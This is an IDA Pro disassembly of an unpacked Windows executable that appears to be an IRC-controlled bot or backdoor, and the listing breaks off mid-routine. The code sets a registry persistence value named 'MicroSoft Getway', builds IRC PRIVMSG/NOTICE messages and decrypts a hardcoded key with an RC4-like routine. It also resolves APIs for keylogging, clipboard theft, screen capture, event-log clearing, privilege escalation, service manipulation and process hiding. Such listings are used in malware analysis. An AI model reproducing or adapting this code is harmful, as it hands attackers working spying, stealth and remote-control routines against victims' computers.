;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8D5032C500AD1B0A106B20183EA4D3A4

; File Name   :	u:\work\8d5032c500ad1b0a106b20183ea4d3a4_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00402AE7p
					; sub_411FA3+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_436050
		xor	esi, esi
		mov	ebx, offset aMicrosoftGetwa ; "MicroSoft Getway	mqbol"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4452FC
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_414BE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_44536C
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4452AC


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_445324
		add	edi, 8
		cmp	edi, offset dword_436068
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_43301C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004112A7p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_414DB0
		mov	[esp+10h+var_10], offset dword_436068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_417050
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_415240
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416D40
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_415820
		push	edi
		call	sub_414C60
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		lea	eax, [ebp-34h]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		mov	[ebp-4], bl
		call	sub_414BE0
		mov	esi, 101h
		mov	[ebp-38h], eax
		push	esi
		lea	eax, [ebp-13Ch]
		push	ebx
		push	eax
		call	sub_417070
		push	esi
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 100h


loc_401227:				; CODE XREF: ___:00401231j
		mov	[ebp+eax-13Ch],	al
		inc	eax
		cmp	eax, ecx
		jb	short loc_401227
		cmp	[ebp+14h], ebx
		jz	short loc_401256
		xor	eax, eax


loc_40123A:				; CODE XREF: ___:00401252j
		cmp	edi, [ebp+14h]
		jnz	short loc_401241
		xor	edi, edi


loc_401241:				; CODE XREF: ___:0040123Dj
		mov	edx, [ebp+10h]
		mov	dl, [edi+edx]
		inc	edi
		mov	[ebp+eax-240h],	dl
		inc	eax
		cmp	eax, ecx
		jb	short loc_40123A
		jmp	short loc_401270
; ---------------------------------------------------------------------------


loc_401256:				; CODE XREF: ___:00401236j
		xor	esi, esi


loc_401258:				; CODE XREF: ___:0040126Ej
		cmp	edi, [ebp-38h]
		jnz	short loc_40125F
		xor	edi, edi


loc_40125F:				; CODE XREF: ___:0040125Bj
		mov	al, [ebp+edi-34h]
		inc	edi
		mov	[ebp+esi-240h],	al
		inc	esi
		cmp	esi, ecx
		jb	short loc_401258


loc_401270:				; CODE XREF: ___:00401254j
		mov	[ebp+14h], ebx
		xor	edi, edi
		mov	eax, 0FFh


loc_40127A:				; CODE XREF: ___:004012B4j
		mov	dl, [ebp+edi-13Ch]
		mov	ebx, [ebp+14h]
		mov	cl, [ebp+edi-240h]
		lea	esi, [ebp+edi-13Ch]
		add	ebx, edx
		add	ecx, ebx
		and	ecx, eax
		inc	edi
		mov	[ebp+14h], ecx
		cmp	edi, 100h
		mov	bl, [ebp+ecx-13Ch]
		lea	ecx, [ebp+ecx-13Ch]
		mov	[esi], bl
		mov	[ecx], dl
		jb	short loc_40127A
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		mov	[ebp+14h], edi
		mov	[ebp+10h], edi
		jbe	short loc_401312


loc_4012C3:				; CODE XREF: ___:00401310j
		inc	edi
		and	edi, eax
		mov	dl, [ebp+edi-13Ch]
		lea	ecx, [ebp+edi-13Ch]
		mov	bl, dl
		add	ebx, [ebp+14h]
		and	ebx, eax
		mov	esi, ebx
		mov	bl, [ebp+esi-13Ch]
		mov	[ebp+14h], esi
		mov	[ecx], bl
		lea	esi, [ebp+esi-13Ch]
		mov	ebx, [ebp+10h]
		mov	[esi], dl
		mov	cl, [ecx]
		mov	esi, [ebp+8]
		add	ecx, edx
		and	ecx, eax
		add	esi, ebx
		mov	cl, [ebp+ecx-13Ch]
		xor	[esi], cl
		inc	ebx
		cmp	ebx, [ebp+0Ch]
		mov	[ebp+10h], ebx
		jb	short loc_4012C3


loc_401312:				; CODE XREF: ___:004012C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401317	proc near		; DATA XREF: ___:004027A6o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_44621C
		call	dword_4453E0
		call	sub_40901C
		call	dword_4452A0
		call	dword_4452A0
		mov	ebx, dword_4DD2CC
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417070
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417070
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_445200
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 267039Fh
		test	eax, eax
		jz	short loc_4013DC
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_4DD2BC
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4013DC:				; CODE XREF: sub_401317+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_4451F8
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx
sub_401317	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4013FF	proc near		; CODE XREF: sub_402EC0+3Dp
					; sub_403038+1C2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4170D0
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_445398
		leave
		retn
sub_4013FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401445	proc near		; CODE XREF: sub_40219C+40p
					; sub_40219C+74p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_401460
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_401460:				; CODE XREF: sub_401445+14j
		push	edi
		call	sub_414BE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_414BE0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS	; "%s"
		push	esi
		push	eax
		call	sub_4172D0
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_4171D0
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_445398
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4014DE
		push	7D0h
		nop
		call	near ptr 2690599h

locret_4014DE:				; CODE XREF: sub_401445+8Cj
		leave
		retn
sub_401445	endp


; =============== S U B	R O U T	I N E =======================================



sub_4014E0	proc near		; CODE XREF: ___:004027DDp
		push	ebx
		push	ebp
		mov	ebp, dword_4DD2DC
		push	esi


loc_4014E9:				; DATA XREF: ___:0043F2F0o
					; ___:0043F300o
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4DD2D8
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_401600
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4453F4, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_445368, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_44534C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_44525C, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_445208, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_445238, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4452B0, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4453A8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_445404, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_445268, eax
		call	esi
		cmp	dword_4453F4, ebx
		mov	dword_445250, eax
		jz	short loc_4015DE
		cmp	dword_445368, ebx
		jz	short loc_4015DE
		cmp	dword_44534C, ebx
		jz	short loc_4015DE
		cmp	dword_44525C, ebx
		jz	short loc_4015DE
		cmp	dword_445238, ebx
		jz	short loc_4015DE
		cmp	dword_4452B0, ebx
		jz	short loc_4015DE
		cmp	dword_4453A8, ebx
		jz	short loc_4015DE
		cmp	dword_445404, ebx
		jz	short loc_4015DE
		cmp	dword_445268, ebx
		jz	short loc_4015DE
		cmp	eax, ebx
		jnz	short loc_4015E8


loc_4015DE:				; CODE XREF: sub_4014E0+B8j
					; sub_4014E0+C0j ...
		mov	dword_445408, 1


loc_4015E8:				; CODE XREF: sub_4014E0+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_445380, eax
		jz	short loc_401615
		push	1
		push	ebx
		call	eax
		jmp	short loc_401615
; ---------------------------------------------------------------------------


loc_401600:				; CODE XREF: sub_4014E0+1Dj
		call	near ptr 26908EFh
		nop
		mov	dword_44540C, eax
		mov	dword_445408, 1


loc_401615:				; CODE XREF: sub_4014E0+117j
					; sub_4014E0+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690610h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40172A
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4453A4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_445354, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4452E8, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4453F8, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_445318, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_445338, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_44539C, eax
		call	esi
		cmp	dword_4453A4, ebx
		mov	dword_445288, eax
		jz	short loc_4016CE
		cmp	dword_445354, ebx
		jz	short loc_4016CE
		cmp	dword_4452E8, ebx
		jz	short loc_4016CE
		cmp	dword_4453F8, ebx
		jz	short loc_4016CE
		cmp	dword_445318, ebx
		jz	short loc_4016CE
		cmp	dword_445338, ebx
		jz	short loc_4016CE
		cmp	dword_44539C, ebx
		jz	short loc_4016CE
		cmp	eax, ebx
		jnz	short loc_4016D8


loc_4016CE:				; CODE XREF: sub_4014E0+1B8j
					; sub_4014E0+1C0j ...
		mov	dword_445410, 1


loc_4016D8:				; CODE XREF: sub_4014E0+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_445314, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_44521C, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4452E4, eax
		call	esi
		cmp	dword_445314, ebx
		mov	dword_4452CC, eax
		jz	short loc_401735
		cmp	dword_44521C, ebx
		jz	short loc_401735
		cmp	dword_4452E4, ebx
		jz	short loc_401735
		cmp	eax, ebx
		jnz	short loc_40173F
		jmp	short loc_401735
; ---------------------------------------------------------------------------


loc_40172A:				; CODE XREF: sub_4014E0+144j
		nop
		call	near ptr 26908EFh
		mov	dword_445414, eax


loc_401735:				; CODE XREF: sub_4014E0+232j
					; sub_4014E0+23Aj ...
		mov	dword_445410, 1


loc_40173F:				; CODE XREF: sub_4014E0+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4018F8
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4453B8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4452FC, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_44536C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_445248, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4452AC, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_445324, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4452C8, eax
		call	esi
		cmp	dword_4453B8, ebx
		mov	dword_4452D8, eax
		jz	short loc_4017E8
		cmp	dword_4452FC, ebx
		jz	short loc_4017E8
		cmp	dword_44536C, ebx
		jz	short loc_4017E8
		cmp	dword_445248, ebx
		jz	short loc_4017E8
		cmp	dword_4452AC, ebx
		jz	short loc_4017E8
		cmp	dword_445324, ebx
		jnz	short loc_4017F2


loc_4017E8:				; CODE XREF: sub_4014E0+2DEj
					; sub_4014E0+2E6j ...
		mov	dword_445418, 1


loc_4017F2:				; CODE XREF: sub_4014E0+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_44532C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_445304, eax
		call	esi
		cmp	dword_44532C, ebx
		mov	dword_4453B4, eax
		jz	short loc_40182D
		cmp	dword_445304, ebx
		jz	short loc_40182D
		cmp	eax, ebx
		jnz	short loc_401837


loc_40182D:				; CODE XREF: sub_4014E0+33Fj
					; sub_4014E0+347j
		mov	dword_445418, 1


loc_401837:				; CODE XREF: sub_4014E0+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_44533C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_445224, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_44522C, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_445290, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_445294, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_445240, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_445308, eax
		call	esi
		cmp	dword_44533C, ebx
		mov	dword_445230, eax
		jz	short loc_4018DB
		cmp	dword_445224, ebx
		jz	short loc_4018DB
		cmp	dword_44522C, ebx
		jz	short loc_4018DB
		cmp	dword_445290, ebx
		jz	short loc_4018DB
		cmp	dword_445294, ebx
		jz	short loc_4018DB
		cmp	dword_445240, ebx
		jz	short loc_4018DB
		cmp	dword_445308, ebx
		jz	short loc_4018DB
		cmp	eax, ebx
		jnz	short loc_4018E5


loc_4018DB:				; CODE XREF: sub_4014E0+3C5j
					; sub_4014E0+3CDj ...
		mov	dword_445418, 1


loc_4018E5:				; CODE XREF: sub_4014E0+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_445228, eax
		jnz	short loc_40190D
		jmp	short loc_401903
; ---------------------------------------------------------------------------


loc_4018F8:				; CODE XREF: sub_4014E0+26Aj
		nop
		call	near ptr 26908EFh
		mov	dword_44541C, eax


loc_401903:				; CODE XREF: sub_4014E0+416j
		mov	dword_445418, 1


loc_40190D:				; CODE XREF: sub_4014E0+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4019D9
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_445334, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_44538C, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_445394, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_445350, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_44526C, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_445218, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_445390, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_445204, eax
		call	esi
		cmp	dword_445334, ebx
		mov	dword_4452A4, eax
		jz	short loc_4019E4
		cmp	dword_44538C, ebx
		jz	short loc_4019E4
		cmp	dword_445394, ebx
		jz	short loc_4019E4
		cmp	dword_445350, ebx
		jz	short loc_4019E4
		cmp	dword_44526C, ebx
		jz	short loc_4019E4
		cmp	dword_445218, ebx
		jz	short loc_4019E4
		cmp	dword_445390, ebx
		jz	short loc_4019E4
		cmp	dword_445204, ebx
		jz	short loc_4019E4
		cmp	eax, ebx
		jnz	short loc_4019EE
		jmp	short loc_4019E4
; ---------------------------------------------------------------------------


loc_4019D9:				; CODE XREF: sub_4014E0+438j
		nop
		call	near ptr 26908EFh
		mov	dword_445424, eax


loc_4019E4:				; CODE XREF: sub_4014E0+4B9j
					; sub_4014E0+4C1j ...
		mov	dword_445420, 1


loc_4019EE:				; CODE XREF: sub_4014E0+4F5j
		mov	ebp, dword_4DD2D0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401CAA
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4452B8, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4453EC, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_445258, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_445234, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4452F4, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4452DC, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4452A0, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4453C8, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4453E4, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4452F0, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4453D4, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_445388, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_445348, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_445344, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_445278, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_445270, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_445398, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4453AC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_445360, eax
		call	esi
		mov	dword_445320, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_445374, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_445330, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_445370, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4453DC, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_445328, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4452EC, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_44535C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4453CC, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_445300, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_44529C, eax
		call	esi
		cmp	dword_4452B8, ebx
		mov	dword_4453E0, eax
		jz	loc_401CB5
		cmp	dword_4453EC, ebx
		jz	loc_401CB5
		cmp	dword_445258, ebx
		jz	loc_401CB5
		cmp	dword_4452F4, ebx
		jz	loc_401CB5
		cmp	dword_4452DC, ebx
		jz	loc_401CB5
		cmp	dword_4452A0, ebx
		jz	loc_401CB5
		cmp	dword_4453C8, ebx
		jz	loc_401CB5
		cmp	dword_4453E4, ebx
		jz	loc_401CB5
		cmp	dword_4452F0, ebx
		jz	loc_401CB5
		cmp	dword_4453D4, ebx
		jz	loc_401CB5
		cmp	dword_445388, ebx
		jz	loc_401CB5
		cmp	dword_445348, ebx
		jz	loc_401CB5
